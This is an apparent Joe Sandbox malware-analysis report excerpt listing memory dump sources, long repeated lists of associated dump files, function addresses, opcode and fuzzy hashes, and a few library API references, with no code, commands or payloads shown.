Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e082de5f9698f4c1b5fda1c6cd791e6c0c8bd27d255b3bcd492568494aabbc7b
Instruction ID: 9a4f2b16adc6dbf2f11de7564f4e6d13353f320a15a4d3659f081f42b5bc465f
Opcode Fuzzy Hash: e082de5f9698f4c1b5fda1c6cd791e6c0c8bd27d255b3bcd492568494aabbc7b
Instruction Fuzzy Hash: 5821B673F2043947770CC47E8C5627DB6E1C78C541745423AE8A6EA2C1D968D917E2E4

Function 00AD779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12bb06bb2d5c9bf550b42a68b0126c3bebdaae37c253ba0b9af8fc1ee934e87
Instruction ID: 5388bc4d248c80548697ac7afd030cf099ec092dee21993ab856bbd44b2207c5
Opcode Fuzzy Hash: b12bb06bb2d5c9bf550b42a68b0126c3bebdaae37c253ba0b9af8fc1ee934e87
Instruction Fuzzy Hash: 3A117723F30C255A675C81AD8C1727EA5D2DBD825075F533AD827E7384E994DE23D290

Function 00AD8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 74740946a2ea10184657293184ecc65c806bbb05c851d3c1b2322b48964bce3d
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 52112B7760018243E604872DC8B85BFF795EBC53617AD437BD0834B758DA3AE945B600

Function 053803EA Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa78c632e4126953acbe3f072033f3c6bab56799e66443f39a53d2256f4dd6e
Instruction ID: d999d91523a629acce444c4ff3b28b61e0aac60f147250d04bde543c7c614679
Opcode Fuzzy Hash: afa78c632e4126953acbe3f072033f3c6bab56799e66443f39a53d2256f4dd6e
Instruction Fuzzy Hash: B1F0E9A728D385ADA20EE5602A5C8F66B59E9C353133480F7E085C6E03C115496FC732

Function 00ACA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 98c155a3b9dfa14ced5401ac4e37778af456c02b9e20a53455bc5f5be5455ac2
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 89E08C32921268EBCB14DB98CA05E9AF3FCEB49B04B66019AF512D3251C370DE00C7D0

Function 00A92EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00A92F5F
__Mtx_unlock.LIBCPMT ref: 00A92FCC
__Cnd_broadcast.LIBCPMT ref: 00A92FE3
__Mtx_unlock.LIBCPMT ref: 00A930F5
__Mtx_unlock.LIBCPMT ref: 00A9319B

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 231b4485eeabbaed36085bab7772ce6ac868b50f4594e1f1a659986a988951ff
Instruction ID: b1a9d879509f575ee27f7a5b9a9854c23e7523fac28e10c46bc29305fb254101
Opcode Fuzzy Hash: 231b4485eeabbaed36085bab7772ce6ac868b50f4594e1f1a659986a988951ff
Instruction Fuzzy Hash: 50A1D371A01205AFEF21DFA4C9447AAB7F8FF15320F148269E816D7291EB35EA04CBD1

Function 00ACCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00ACCC66

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
